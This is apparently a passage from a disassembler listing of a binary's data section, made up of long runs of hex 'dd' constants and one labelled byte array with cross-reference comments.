		dd 34B267Ch, 62467414h,	77010F7Eh, 27AF7499h, 0B4A550B8h
		dd 9A13F271h, 0E4197ADBh, 3FD7250h, 42D3048h, 50D09258h
		dd 20A0327Fh, 0CD58EA8Dh, 2D575400h, 0BBD98CFh,	95DE2A10h
		dd 0ED8C00DCh, 70BCF4F2h, 0BD014BE7h, 84672923h, 0E0485BBBh
		dd 5C0F076Eh, 0B62CE41Ch, 970CF9C0h, 1E10A651h,	0C7630703h
		dd 57D0D3EBh, 0AA58906Dh
		dd 6C98260Dh, 83F401F0h, 41A5D216h, 23300414h, 148438A9h
		dd 62EFF4E5h, 4BA20B3h,	63BFFE14h, 0A6A2C8C9h, 64740087h
		dd 0D989D7BCh, 6B03934Ch, 0EF7BA44Dh, 613900BEh, 1B152584h
		dd 8F0087F4h, 371DC170h, 14D3EAC7h, 0B4E2E79Eh,	58650700h
		dd 0ADBA2D34h, 0CA05C498h, 0BE78DA1Bh, 75E0DC90h, 0B0954DDBh
		dd 907A0278h, 0FF42F30Ah, 0F719E2E1h, 75B20818h, 0A6D520h
		dd 0AE56910Ah, 0DB3FCC54h, 0BC106F48h, 8A008C71h, 0E2890F6Bh
		dd 0FF402CBFh, 75ADE6C0h, 0B52F063Ah, 0A0D18F5Ch, 0AB07D846h
		dd 9842240Ah, 0DA40AEC4h, 9F120A85h, 0D503FE7Ah, 0F2A4D4E8h
		dd 793A90B5h, 264490A6h, 603C1271h, 0B4D8AEC8h,	11001BF2h
		dd 0C7F77E87h, 0F67CD136h, 20624841h, 4F3D2400h, 0EDCCC296h
		dd 8828994Ch, 14A1CFA8h, 33E7F4E6h, 5BB8250h, 71B5614h
		dd 0F96A07h, 0E127B34Dh, 0B1E4C4A5h, 0C2955F60h, 0BEAA571Eh
		dd 920D93C1h, 7C856FBh,	0F052F372h, 0A9130DEh, 8742F210h
		dd 0B080D4E2h, 0CCC3CB52h, 5FB30900h, 0C0B98408h, 0C74A0CAh
		dd 0D10F1680h, 0EA204807h, 0EC4EE3C0h, 0D9BB215Ah, 9900EA91h
		dd 0F10B4EDBh, 1A6FF30Fh, 56849DA9h, 0BA40630Eh, 80016E0Dh
		dd 0FB17F47Bh, 80102AC4h, 0F06C46BCh, 9CE63BAh,	58BBA9FFh
		dd 39C85810h, 5E7C261Ah, 8484111h, 0AD58FC19h, 11E8D023h
		dd 0FF8A00A4h, 41136358h, 783B00FAh, 9F65B939h,	0BB884297h
		dd 80649443h, 0C4E1466Eh, 4C9882E0h, 0D2F96D0Fh, 16BD62DCh
		dd 46CCC6E2h, 4EE001FFh, 0D9935AF1h, 4942C0Bh, 0F2B76202h
		dd 0E0D4AF7Ah, 37D21D4Bh, 4C62F5B4h, 6911F500h,	408B2271h
		dd 2B430300h, 0EA423F1Ch, 8292918h, 60DDE4B8h, 232D0A92h
		dd 0B0118F42h, 0AA8D300h, 0DF184D2h, 1EC63600h,	1910C9CAh
		dd 2831692h, 23742FFFh,	67FC00EDh, 271B83FFh, 1448E00h
		dd 3E1F7534h, 2EADF258h, 0C4CDBC6h, 8FC02EABh, 0BC0B3Ah
		dd 3758C2AAh, 5C3E7CD3h, 0CA1746D9h, 8D8B00C5h,	0FFDE7B8Eh
		dd 6DBE5100h, 0F267A221h, 3FF830h, 7D056918h, 781A4C42h
		dd 6F0D3700h, 87224F4h,	0CE030B91h, 1687AB52h, 420B50CAh
		dd 0AE071D21h, 437CAA34h, 7D26B630h, 733C00FFh,	0F6B7CC1Fh
		dd 353EDC24h, 196A0006h, 5ECF11F1h, 0CB3C0029h,	540BC0A0h
		dd 17033DE7h, 9F988B76h, 0FB80FE2Bh, 0CE082518h, 0C449AB50h
		dd 657E471Ch, 0F01AED33h, 22D51672h, 0F40017BAh, 19233195h
		dd 0B0012D0Bh, 2C4E0F74h, 0C4E65D65h, 1B01AA34h, 0FF2B1F69h
		dd 0BEECFCC5h, 0F32300EDh, 0ACBC34A9h, 0EE018D6Ah, 1FF94149h
		dd 418FABC7h, 2CE0A6AEh, 0AFD871A8h, 6EBC6200h,	0BA1A37D5h
		dd 0C05B607Ah, 4B8D78B1h, 0EB1CD200h, 0D451D1DEh, 25610160h
		dd 973C1F8Ah, 0ACE7422Bh, 92028080h, 4905F60Eh,	0B112CDC9h
		dd 4368E007h, 5B7C9851h, 9C64E60h, 0D0A9CEBDh, 0F5D25401h
		dd 87A0402Bh, 0BF108901h, 0A800F6B6h, 56A383D8h, 0E7077F86h
		dd 216B8E49h, 0EA00F04Fh, 9A66D970h, 5B1E684Eh,	22809225h
		dd 95F0B136h, 41AE3DC6h, 1B69307Dh, 0CAFF68C0h,	91F8FA14h
		dd 59B800C0h, 0D12B0F4Fh, 53F7006Ch, 51EBB410h,	0E803CE83h
		dd 0B7AAB9EEh, 5BB19708h, 8E13B24Ah, 9F866BD8h,	0C080A351h
		dd 0FD2A4569h, 85FCE0CAh, 1602F5E2h, 94D929BEh,	9330C051h
		dd 0C1FF607Eh, 0D1684050h, 89801E54h, 1178C900h, 73093A4Ch
		dd 0BAEC3D8Bh, 0C04A0A98h, 0F200A19Eh, 44A41EB4h, 3A39A71Ah
		dd 2F247718h, 0F3E28040h, 599DBED8h, 301D9601h,	16D5691Ch
		dd 618F8050h, 0A26F00A6h, 9FF1729h, 90006B02h, 0F53F52C5h
		dd 0D051FCh, 0A1BC2CABh, 926FC39Ch, 0DD10D81Eh,	8200B192h
		dd 2DCB4D62h, 58BE00F1h, 9D901BA3h, 40C10282h, 0CFB9A0BAh
		dd 0ED70ECh, 0DAB6C185h, 0FD6EE1B8h, 0FF6DD00h,	28222417h
		dd 0F5950331h, 72D1233h, 392080C4h, 0D34B5473h,	8C79F02Fh
		dd 50667E02h, 0B5FD3B87h, 0D1800020h, 0C0EF2190h, 0BB7C061Fh
		dd 5BF962C0h, 3F6D720h,	4CD2AE83h, 3970DF61h, 6A021507h
		dd 37C0B490h, 22F1F95h,	3F065622h, 2CC0C0ABh, 0CA09DAE5h
		dd 60391D93h, 3A087C8h,	75C08FCh, 0A92E4E44h, 0D407BD41h
		dd 3330D8BBh, 1F9AA5ACh, 0C5264B7Ah, 18B01825h,	484D20A8h
		dd 0A985C43Bh, 53C22045h, 2C4031BFh, 72318h, 0D0AE58F1h
		dd 8947FF0h, 32FE8950h,	97F9E658h, 2E53B720h, 10B9C7h
		dd 9118E302h, 0AC008F7Eh, 5BAA2C94h, 7331B78h, 3508DDEEh
		dd 6081D18Ch, 6411D8EFh, 7389D700h, 67ADC80Dh, 0B22C1374h
		dd 48A09213h, 7C060495h, 1076FDh, 0E73A1870h, 53D2974Bh
		dd 0E28D0104h, 0FCB0E968h, 51320375h, 38667072h, 1DB62921h
		dd 0A1222296h, 36DE2233h, 0DA110A42h, 228477EBh, 8E79356Ch
		dd 89F59388h, 0E83C4179h, 0A21362h, 0F8653329h,	0BC2BCC6Eh
		dd 32C80B00h, 60F43766h, 90F200C4h, 7CDD4C3Ah, 0CCC0A9CFh
		dd 93EE8091h, 0F8100105h, 816A5732h, 0DC89E9AAh, 7300DC5Dh
		dd 7D23B4DDh, 0E6220B2h, 31D18AF4h, 0D9FDC05Dh,	0E3BC3974h
		dd 96C3CF00h, 0D384ACE0h, 79ECA5h, 335958DDh, 4AF960B7h
		dd 0E87B3Eh, 0BF78E4C3h, 0B95A22h, 0A3AA1BD8h, 0C5F28650h
		dd 3ECF7200h, 32DD2792h, 0D95F00B0h, 0C2F0F5F8h, 843E7779h
		dd 0DD622C38h, 2DC82500h, 2419B3D3h, 1C972960h,	309B4320h
		dd 290021D4h, 3E2CBB38h, 640BCCh, 0E6EBFEAh, 0F53BB86Ch
		dd 0A31894FAh, 88B0F4B3h, 0ACCF0007h, 27B83C9Dh, 23005476h
		dd 55C92AD7h, 0E665C059h, 9CFE1C3Dh, 2072CB1Eh,	5F914001h
		dd 0DCFCFC70h, 0FD466D00h, 0BF42AAE6h, 65161208h, 237400DBh
		dd 0FC5EC8B5h, 7A1E62F0h, 67404437h, 0E39413E5h, 318800BFh
		dd 0B9DF2C4Dh, 2100D998h, 15845E4Fh, 13E1C820h,	0F178A9h
		dd 0D5DA3FBh, 0D0A074CFh, 0A2004D73h, 0B9FCE07h, 0DF0F49h
		dd 341B6AE1h, 0AB5AFFFDh, 0F77043Eh, 0E2145189h, 0A0214AD2h
		dd 795895E8h, 5F681h, 0BB0FA24Ch, 0CAE8FC9h, 65A94800h
		dd 42A599F9h, 144300C4h, 9E847B7Eh, 0FB04A655h,	2CEDD48Ch
		dd 5645A490h, 0FD76005Ch, 52FA317Bh, 0D2008F21h, 5E444D37h
		dd 96DB51h, 0B4CB2D0Ah,	0D1F9E836h, 48DC95B0h, 0FE055D11h
		dd 0C0ED8EE9h, 0BBAE4DE1h, 6C0D691Fh, 2ACEBE00h, 7FD90Bh
		dd 3223619Fh, 0BCB59DF9h, 0F363E902h, 0E0473791h, 489A7914h
		dd 2B1F4CC1h, 0B52E805Fh, 2C446F5Eh, 450246F6h,	0D407CA4Ah
		dd 403C4274h, 6D8933h, 0AB71C8Dh, 0E959DE57h, 214FA900h
		dd 5422DA0Eh, 0DD86005Dh, 0C7C8AE7Ah, 0D3005E8Fh, 0CA727C0h
		dd 138356Ah, 7D0DB420h,	407BED78h, 0CD9C66F2h, 0E0897600h
		dd 0D8FD179Ah, 5BB84CF2h, 0EEFF3500h, 4DE9951Eh, 65C82800h
		dd 0B98D3A1Fh, 12B7008Bh, 32F256CEh, 2000EBCAh,	57FB7C2Dh
		dd 0E4E3F07h, 0BB242502h, 96F4C0B3h, 20014743h,	78997250h
		dd 9840D682h, 0FD666Fh,	0CED1FDCh, 0B4A73BEEh, 0F2221200h
		dd 697A28CBh, 66CE0001h, 0D749F516h, 250096C6h,	0F6E1CA95h
		dd 23741Ah, 0EF8CE99Dh,	0BE3C984Eh, 24031D24h, 686C62h
		dd 0B1C6A029h, 0F4287728h, 2A3CCF1Ch, 2015C91h,	0A7F5251Bh
		dd 7B208F41h, 3900FD7Ah, 20831A3Bh, 135AF870h, 49AD2932h
		dd 700F76D0h, 0C3661400h, 511CDBA2h, 98003B0h, 0A99E6347h
		dd 7FF29Fh, 6FED8DCBh, 5466529Ch, 93B55809h, 410400C4h
		dd 295FC2h, 1B3E7304h
		dd 628FEDDEh, 4FD4B11Eh, 0C464013Eh, 0A473827Fh, 1D72FCh
		dd 0B109FA57h, 1A3CC96Eh, 53083Eh, 0B05D3AF8h, 0C85206h
		dd 0D2C21CDh, 58DC6160h, 1E02C53Ch, 0CC4034C4h,	95191103h
		dd 0D0E2F8h, 75E0657Bh,	0BE1A9B9Dh, 126E5B00h, 0AF2782B7h
		dd 5F0D0333h, 3992FCBBh, 7BD30FA0h, 4B637307h, 0DA56611Eh
		dd 2EFE0F10h, 0AA80E4FBh, 0D02CD3D9h, 89C0DE6h,	2A28F300h
		dd 9A70C26Fh, 8FFD0024h, 0B58423B2h, 0EB003485h, 0D6031069h
		dd 741930h, 38A79FC2h, 0D4501170h, 0C6002270h, 549CD397h
		dd 3DFD557h, 0B1BC6D60h, 0B278D975h, 405A0302h,	81C2A62Dh
		dd 9BF397B0h, 3883D3D4h, 30002852h, 10DAF114h, 173BC6B1h
		dd 3F2180D0h, 31335AF0h, 83EA24F6h, 110D00E4h, 7BB13638h
		dd 0DFBCB61Eh, 40620B40h, 5C3AB9h, 65120A27h, 7A80F95Ah
		dd 0D924FC18h, 33A9958h, 0A74E8A6Eh, 0F3E09491h, 0D00098C5h
		dd 2EC03458h, 0EAF233h,	0AF5C6C0Bh, 2DA45DC8h, 29057000h
		dd 0D512FBD9h, 0B43E09B2h, 8E03A794h, 2A909741h, 0E84E6C10h
		dd 0A6BE803h, 6D23901Ah, 173300D0h, 0A8D13D19h,	0BB00D886h
		dd 2E9F1B7Eh, 325F08Eh,	0DC993B98h, 0F498B32Fh,	8626A77Ch
		dd 150037B0h, 0DD52088Dh, 0F95C2C17h, 0B089128Dh, 4D3D5D50h
		dd 0F448ADh, 0E0B13206h, 0C50B8h, 0FA8BDF30h, 0C626A75Bh
		dd 9905C0ECh, 0E363EC02h, 0A400E684h, 0E630A5B6h, 147E059Dh
		dd 0B4F5FEBDh, 67256D84h, 28E44848h, 50DCA82Dh,	0E6D9003Ch
		dd 0C31E2A81h, 67136F72h, 9001D3B2h, 176D393Bh,	47F029F9h
		dd 0C49A3EFCh, 0CC01D83Dh, 5F35F7C7h, 0F936D065h, 0FDACBA00h
		dd 0A1E20E32h, 555A00F6h, 61785DEEh, 0D10FFCF4h, 237ED3D4h
		dd 27B6F43h, 0C1E18B98h, 44E45A09h, 0EA9EC500h,	0BA0E6C11h
		dd 48A348CEh, 6980713Bh, 185AAC51h, 900927Fh, 3A229BCAh
		dd 27103F7h, 2F2C15EBh,	5840E17Dh, 0AD05EA14h, 51EF8190h
		dd 0ED644CD0h, 8059280Bh, 4DDE0098h, 0F00625D4h, 7A009239h
		dd 7D580E9Bh, 0A7CBFEh,	0EEB38E2Dh, 6BDEF929h, 81102700h
		dd 0C4DFFC2Bh, 0CEAB0722h, 706E1135h, 0DA3CC056h, 3188B0A9h
		dd 1307465h, 0D415DE02h, 0E032CBECh, 12CE7D8h, 9A146B58h
		dd 0CE29A798h, 31AE7C41h, 116AC414h, 0E6007E70h, 4EDD61F5h
		dd 5B9A41h, 0ADCC3CF9h,	0D81AEE8Fh, 51A43E1Fh, 0B7CD4601h
		dd 1E4D7BDh, 0FBB801AFh, 3D9636A9h, 9E6BC01Ah, 86D8C2Eh
		dd 3BE74D00h, 0C16679FCh, 0DA599021h, 0CBF0F0D9h, 9EB6D000h
		dd 8B2B2D9Dh, 0D323004Ah, 0E7D4533Dh, 70001A0h,	6C597326h
		dd 0DFE281h, 8DEB7A0Ah,	0FCA15898h, 4F6A5A1Dh, 0F663D680h
		dd 9C9915h, 0B044EAA0h,	0E986837Eh, 5872DF2Eh, 5E6B300h
		dd 526A58h, 1A464350h, 0C304571Fh, 0C55DC9FBh, 61A4ECDFh
		dd 4CAFACA0h, 7FBDEE00h, 0F2F744DCh, 1EC17F5Bh,	0C1AD8AE6h
		dd 0B34B57BBh, 0D3B1C830h, 60107900h, 11E68784h, 3ADD1EB0h
		dd 0D155807Ch, 1F93BC91h, 1C41548h, 6C16321Ch, 0DC558F4Ch
		dd 3C076888h, 98C95E97h, 3D820A00h, 0C362A67Fh,	4AB0FC07h
		dd 8DC7976Ch, 64EFEE02h, 0F4D0A0C0h, 30E039Eh, 230CBA34h
		dd 0C6456CB0h, 89ED9400h, 78560898h, 0CCCF1DDDh, 0E16340FCh
		dd 3A5A204Dh, 9A2EA09h,	7700067h, 0FC2A375h, 82CB66B1h
		dd 0BF74A6C0h, 0AF381BFCh, 0E54F8084h, 5D134442h, 44D94811h
		dd 40986724h, 0C3C79025h, 43E78E00h, 2EB87D20h,	983E008Ch
		dd 59B70D1h, 0E300166Ch, 73C80B94h, 0F54421h, 0A6E57642h
		dd 696EDDD2h, 0E075D825h, 54E67964h, 19AFC01h, 4F105A7h
		dd 0F8253D4Ah, 947FC5B4h, 0B830C900h, 7FBCAD3Bh, 0FB6F0F0Eh
		db 22h
byte_520045	db 0A2h, 0, 0CAh	; DATA XREF: ___:00438110o
					; ___:00438128o
		dd 47F545BAh, 9F1E80A0h, 0D3EF6500h, 12541DA1h,	39764Ch
		dd 58280807h, 0CA48293h, 7705B900h, 0C7D6BB86h,	24F4FEB2h
		dd 1B6CF2Bh, 89C2927Ah,	0BC48D21Ah, 0F00FBFFCh,	6AD82499h
		dd 5F00988Fh, 484F52DBh, 11440E81h, 1205065h, 3EBBF21Ah
		dd 0C9009072h, 0F546AE60h, 1C273BD6h, 0E7F96Fh,	0D5BA6722h
		dd 3F2DAA8Eh, 13948075h, 5A8BC1h, 4DA402FEh, 406892B3h
		dd 39D4F00Eh, 0F6942096h, 7FC5D654h, 2AB87Dh, 36E96EEAh
		dd 898F25F7h, 6544B709h, 4B8C20EDh, 0C0F2FD9Ah,	97ECE78h
		dd 4995F5Eh, 0D4182D18h, 0D5CC0003h, 0F5D6D207h, 0B500B612h
		dd 95CD6C4Dh, 192D43Bh,	0FCAE9A0Ch, 0EC6E08A9h,	540020D6h
		dd 8D4604A5h, 0F9661Fh,	3E693F5Bh, 999A6BF3h, 80D9C324h
		dd 0F0381B97h, 5218017Ah, 8D926017h, 0FCDC713Bh, 801166Dh
		dd 0BA47023Fh, 0C0381541h, 6000E32Eh, 3723EFD2h, 0C09ACC73h
		dd 911E1303h, 0F8BF5918h, 79FE9A58h, 29B0135Dh,	0A1D80F93h
		dd 0CCED4900h, 0AD008E2Ch, 6D760F02h, 4818563Fh, 0C807C0C0h
		dd 70CBE66Bh, 891D61ABh, 3BEC7C01h, 3675542Eh, 1297C470h
		dd 80F8E84Ch, 0DC2A4734h, 4A5C9A00h, 0A9842082h, 0EF100FCh
		dd 0AD7E6CD8h, 5B000665h, 0F3A52C41h, 0A0FF36h,	563ADA18h
		dd 3230E6D7h, 2DE77502h, 0E37E2016h, 0AE12C8C4h, 0F78F4039h
		dd 0FDCDA407h, 0D14BD8Ch, 41F3DEC0h, 0A9E0016Fh, 552F40EFh
		dd 0DC8C4344h, 93D686C0h, 4C5CE300h, 0FE6D0D2Dh, 43AC0E9Ch
		dd 0F9C2B097h, 6CC0B511h, 77004DC8h, 0C97612E4h, 0C4A5E7h
		dd 0CDA97D48h, 0BFCC3E2Fh, 930972B0h, 83C35830h, 0C4417E64h
		dd 45EDCE0h, 578C5A0Eh,	0C0D4B16Fh, 2B004F50h, 7B97E4Ah
		dd 98F790DFh, 8B8A0C6Ch, 0D37C11F0h, 3CD05000h,	46F3A61Ah
		dd 112E60F2h, 6834CFCCh, 16D624h, 4722A11Dh, 0DC8B06C3h
		dd 880764h, 5531AC4Bh, 0DD3C2469h, 0E819CA00h, 0D0090DF1h
		dd 0EFD31FBBh, 5BBE801Dh, 3DA7056Ch, 670BDF1Eh,	76D6A507h
		dd 0B177407Eh, 0D59FFBh, 38E421F1h, 4FCEB57Bh, 61884A00h
		dd 9B664482h, 259800AFh, 0B81EA857h, 2A0E1175h,	0C027CBE2h
		dd 8A025170h, 95B404BAh, 805CF757h, 0D8F8887Eh,	6A0F7D00h
		dd 12F11B07h, 3C7A0208h, 94AD8434h, 24F3A8E8h, 0E900A89Ah
		dd 5487CA52h, 0B5F725h,	4FB27923h, 3C9D21FAh, 0A8740F12h
		dd 500054h, 0F138D045h,	7AC12899h, 2D53046Ah, 0C36C9C1Dh
		dd 72F863B4h, 36003007h, 0BCEB4E24h, 0ACDAEEh, 3A975FABh
		dd 61BE9342h, 761F70BAh, 0C9409DF9h, 0AC573EFCh, 0D4C64CA1h
		dd 4B983F73h, 835A1000h, 0FCE109F0h, 0FB78C4A0h, 8572210Fh
		dd 0D841E158h, 0EC07F99h, 5939608Ah, 90DB73C2h,	447BE1FCh
		dd 4000D67Ah, 1CFFFE32h, 3A72C34Ah, 0EE1659D2h,	0DDA80022h
		dd 0FAABB166h, 99D17001h, 59F491E6h, 59E2E4F0h,	0BD012440h
		dd 0CFEE5E44h, 3C3C41h,	92ED37D1h, 1C76B925h, 0C14A5ABAh
		dd 0A2833033h, 0E1C2E058h, 3ED61B05h, 2C80DD1Eh, 1E2FF25Dh
		dd 808616F3h, 0E84FBA66h, 0F38919Eh, 0AA810005h, 0B7ADCFFBh
		dd 0D9CA0067h, 620ECB5h, 8F05BA37h, 8ACC05DFh, 0EA38C300h
		dd 13FC6CC5h, 716B12C7h, 2853BCE4h, 9CF400A8h, 0E5DA7B54h
		dd 0B12100C1h, 0E401846Eh, 0CB00B013h, 86F0D31Ah, 2D0F57h
		dd 0A1359D4Ch, 88D5C53h, 930327FEh, 0A2B0E33Fh,	0EFF3E87Fh
		dd 0A6D00C4h, 0B72BF916h, 580E82EEh, 8FAE76C6h,	439F06BAh
		dd 0E5684111h, 610507Eh, 6000E178h, 8DDB0152h, 0B00CFBh
		dd 0F403C240h, 0F88676C1h, 778C474h, 0E322480Fh, 3001DD1h
		dd 2FBF562Bh, 628C0F2h,	0AC1E4B9Ch, 34BA502Ch, 7A01783Ah
		dd 61492FE3h, 24419F86h, 3040C140h, 3DA5B880h, 0BA85B90Ah
		dd 90870Bh, 0B4856814h,	7F07BE8Ah, 33A42D25h, 0B0CC7257h
		dd 377FE51h, 75D935A7h,	97E0F71Fh, 5900DD21h, 60A0020Ah
		dd 0C73119h, 1542F03Ah,	0DE4BCB67h, 3E86F800h, 4191035Ch
		dd 5B6F077Eh, 1A5942Eh,	0F865FA4Ch, 0A00CB36h, 10E85A57h
		dd 0FB24B22h, 0FA474946h, 0B911A118h, 4A30A603h, 0B8F6788Dh
		dd 12C3E5Fh, 0A79FD706h, 0E0DCB7CEh, 0F700B541h, 8713CBA3h
		dd 0E00A1034h, 84AA07F4h, 234B7C75h, 46C8DB5Ch,	1D037F7Eh
		dd 0B6D30A13h, 30FB88E6h, 0FD8701E0h, 8E86527Bh, 2194C880h
		dd 88483Ch, 0BD67C9Eh, 260C7343h, 0AA540AFh, 6B0B280h
		dd 0B1C9FC07h, 63269C01h, 338B57E6h, 3E74EF4h, 136B0A88h
		dd 3100FC81h, 87118FF4h, 0E51BE9Dh, 0C5F2B6Fh, 176AD3C0h
		dd 0C55CBDD4h, 438700C1h, 0A1831CB4h, 44CE1882h, 802E40C6h
		dd 0D6404900h, 7558D381h, 0E2E80362h, 361D1C6Ah, 6C9EB8C0h
		dd 47BEF201h, 77BF7482h, 5738C0EAh, 0A0F90772h,	20ED2B80h
		dd 502507C7h, 8A7DCB0Fh, 0AACF9DFDh, 27009E22h,	0C105398Ch
		dd 8602003Ah, 0AF71E9DFh, 5E0C7569h, 107783A7h,	4EEE0087h
		dd 6E510B53h, 393A78ABh, 219C306Dh, 2C4EE442h, 1137619h
		dd 52E06107h, 98A02BB2h, 708463F9h, 303AE7A8h, 80C800B3h
		dd 233AF778h, 0DD5218AEh, 51D1210Dh, 74EE251Eh,	8C7B82C3h
		dd 0C808306Ah, 2538CE21h, 0AFBE5500h, 7C637E1Dh, 725E068Ah
		dd 9076EE54h, 9297E700h, 0E5F247E8h, 0F483198Bh, 802908CDh
		dd 0E88AFA21h, 0DB9554h, 0E9BA7C6Bh, 1772E621h,	20523900h
		dd 0DE3801C7h, 0E70E0068h, 5827944Bh, 85FA0588h, 0B4FBDA1Ch
		dd 14228B40h, 0E5EED0h,	0E46D33D3h, 6B41D8D7h, 4F1C5905h
		dd 0A7C0E12Ch, 0B75FDEh, 0AF7546E6h, 6A056765h,	3E2BC107h
		dd 3071B466h, 0F8C8411Dh, 0F910CA78h, 7ED07D04h, 100A6483h
		dd 429B80B1h, 8E006916h, 9C6703B6h, 5B52994h, 91F17EBDh
		dd 280CBFB0h, 84AA29CBh, 0E5219E42h, 90CE4F08h,	6A08266h
		dd 21F904B4h, 0C212CCCBh, 88017510h, 0B107F62Dh, 0CD36DA58h
		dd 37606B00h, 75D200FCh, 0B8235A6Eh, 0AE00B55Eh, 13A1741Ah
		dd 0B61EF0h, 30378644h,	1D6316BAh, 54A6270Fh, 36C0BEC6h
		dd 945DE4F9h, 0DAB7007Dh, 25A51C45h, 8B00A2D0h,	8052917Bh
		dd 26930918h, 7C5B14Ah,	0D01DE6ADh, 0E0D7A571h,	39002D7Ch
		dd 8CE77D87h, 485B762h,	2C2A412Eh, 0CFE5C111h, 0B483D27Fh
		dd 60E0EB9Ah, 77F8EC02h, 95016871h, 0A343DA67h,	0BD20CD80h
		dd 13600034h, 2E9FEB0Eh, 656F6811h, 7C7E58h, 3F960425h
		dd 418AA8h, 927D0CC3h, 1639D7C1h, 6640AE02h, 87E5AF72h
		dd 0BB30059Dh, 0C1F82A61h, 0B8F4428h, 1A9A307Bh, 0FFC38D03h
		dd 0B0CB4CDBh, 14247EDAh, 0ACCD969Ch, 7CD43100h, 38AABE72h
		dd 6BE67F00h, 0B7BDA811h, 0A29000FAh, 991D8B44h, 14000BC4h
		dd 8D684564h, 0AA2973h,	0C7BB8042h, 5236AC92h, 0E5F5F900h
		dd 631F019h, 0FA030032h, 0C0A809A5h, 78FA536Fh,	0E87D5Ch
		dd 0C1F1444Dh, 2E73BF22h, 0FE3F87h, 0C545654Eh,	0FF009114h
		dd 0ED51F802h, 0F74306h, 619ABD19h, 4FE60A08h, 34FC6607h
		dd 57A07B55h, 119212h, 0B8796497h, 0E928FD06h, 726D1E00h
		dd 5037C5ABh, 0DC100B0h, 30CDC829h, 4100B742h, 0DB48E584h
		dd 195156h, 0E11B0223h,	0DF705450h, 0CAA9B002h,	407866C5h
		dd 0C9DB14h, 218729C4h,	494557B2h, 1C064E12h, 2EA7B000h
		dd 4D7D36h, 3CA56E7Fh, 6796FF30h, 0C90EE300h, 0E0994CC8h
		dd 0CF220EABh, 52000B87h, 0E194CCF5h, 0E3B78B0Eh, 6A9FC07Eh
		dd 848863h, 0B0C1C685h
		dd 7A02A23Eh, 0BF1CB900h, 34AA8F31h, 0CD0E0F44h, 87806F10h
		dd 0D514482Eh, 73BC1100h, 0ABA19932h, 0CD7D03D3h, 6FB1F8EAh
		dd 20DB69E0h, 20E3177Fh, 8800F474h, 4E1D03B2h, 1DAB964h
		dd 0DEBED75Fh, 20F79F8Fh, 0B2C8028h, 4A125FF2h,	1C583C07h
		dd 0CB300048h, 671BDA6Ch, 76C57C1Eh, 0E4464AC0h, 485D9C09h
		dd 7818CCh, 19EE3CFFh, 0EE7D370h, 0D2A45B00h, 2E793450h
		dd 3E6F1F40h, 0AD54008Ah, 20325E80h, 80AAB83Dh,	0A258EAAFh
		dd 3C77692Eh, 8A85BD61h, 80EC4D0Ch, 0FC6322A2h,	1C65806h
		dd 0E4B0DA1Fh, 0CCB900C3h, 70C7ED46h, 3000B2CDh, 0FEDB10D8h
		dd 0AA670Dh, 71F836CFh,	0B46AADFAh, 992141Eh, 7E57B5C3h
		dd 0B2BDE870h, 1A5A0089h, 81223152h, 50018509h,	6E17C8DCh
		dd 0EA80FE40h, 0DAF0E75h, 0A009ACFAh, 8010B170h, 0D02A3D04h
		dd 516B00D4h, 5658A223h, 8A00DFADh, 0FD60F8A5h,	949237h
		dd 0C6F4C42Ah, 0AA3A7FBDh, 0D4E2E300h, 36DFD30Eh, 0C0010AF7h
		dd 39A81B57h, 3E920275h, 40239E6Bh, 1DB53440h, 0A2825100h
		dd 0B3311EABh, 0A4950072h, 97216DCCh, 0AF07B450h, 0AB18EFD5h
		dd 0A3E8642Fh, 8D13EBC0h, 0B5F8A0E0h, 0C21C0029h, 2B64381Fh
		dd 8F00E6D4h, 6D76E396h, 7F57E5EDh, 0EF910048h,	0C9F0FFF1h
		dd 0C3009B6Eh, 0DFE8FACBh, 13E012BEh, 7B0640h, 0E9B58634h
		dd 4D06F70Ch, 0B75A6603h, 78DD0010h, 0A01044Eh,	57051F51h
		dd 790E0FBCh, 6CE6A600h, 1C20E2B3h, 40B061D2h, 84F3411Fh
		dd 0A71451EDh, 0E9C58Fh, 0C6E685F2h, 0B67E09h, 41C9C405h
		dd 2BA3F575h, 145F7C00h, 60BE8E15h, 0EDBD1C6Eh,	0F69440CFh
		dd 21C525C4h, 6A7C3E00h, 2265A84h, 0E09D0099h, 0DB82E910h
		dd 0DE000542h, 1E01F44Eh, 0D58FF5h, 28B49A17h, 916E5EB9h
		dd 784A3800h, 1A61A12Eh, 0B3D70029h, 4041971Bh,	0D13DC622h
		dd 0A064854Bh, 80006C3Eh, 0C893AE3h, 0DD71009Ah, 4EBCBD62h
		dd 7816EFF2h, 5D0087FCh, 7F410A68h, 298D00A1h, 26F389Eh
		dd 8004B72h, 84D12CEBh,	7A6E7A13h, 9E4C0128h, 31B5E9B9h
		dd 0C0A80C4h, 0C998854Ah, 8CF50069h, 0A376BEACh, 60A0116h
		dd 0CC910DA1h, 0E2E5AE80h, 2EFE3CAh, 5663321Ch,	0E0F5F6BEh
		dd 69FE8CFh, 0FC380DB0h, 0B21830D5h, 0F5F0679Ah, 328339CDh
		dd 646F4E81h, 0D0D595FFh, 9403319Fh, 0BABD82ECh, 0B063FBA2h
		dd 0EE3C517Ah, 76F01F24h, 0B59D40h, 458A542Ah, 88A00E0Dh
		dd 0EB00CE65h, 6168C834h, 7A1D0110h, 80F00048h,	130DC97Fh
		dd 4100D0A2h, 0D7CA38E8h, 0A4619Eh, 0E1552E06h,	0D9C2BEF4h
		dd 60CF2609h, 38CD8F6Dh, 52B3D2B8h, 380088B0h, 55A04ACDh
		dd 0E100E0F9h, 6848A10Fh, 0E7049Dh, 61F7CB84h, 2C609156h
		dd 0E2AC7C14h, 966F0090h, 70D94637h, 9F98007Eh,	0F39BE819h
		dd 104803A9h, 0C88F008Ch, 4BE60447h, 1DCD0B45h,	8874202h
		dd 3773D011h, 14F0AE8Eh, 3F137E00h, 0E7C6F316h,	8510CE0Ah
		dd 2C91AD03h, 0CF7649C8h, 40714530h, 24B78AB4h,	80E47CDBh
		dd 0F826643Bh, 20C0702Fh, 8254F131h, 2A360347h,	29A6D9Dh
		dd 0BA16A0B7h, 92004AC3h, 7F1F3CEh, 8C1EF7h, 45EBB517h
		dd 0A0FCDE5h, 0BAE15300h, 0BCE9B818h, 0B55407C4h, 0E0F386FDh
		dd 9AA2CE3Bh, 182DEF58h, 0F956B7D0h, 0C63D04F7h, 90D3EBDEh
		dd 0BD89FAC0h, 0B5714F05h, 0EF80E04Ah, 377BE99h, 0ACE14638h
		dd 7A8B6BD2h, 126FE9A0h, 90AB1E28h, 446AA700h, 0FC875689h
		dd 5E0400B5h, 2E6FE609h, 10001199h, 0CE4C2BB4h,	77DF5121h
		dd 45ED0024h, 3665F1Bh,	9000FE08h, 0FD6FFA9Ch, 50A3A1D0h
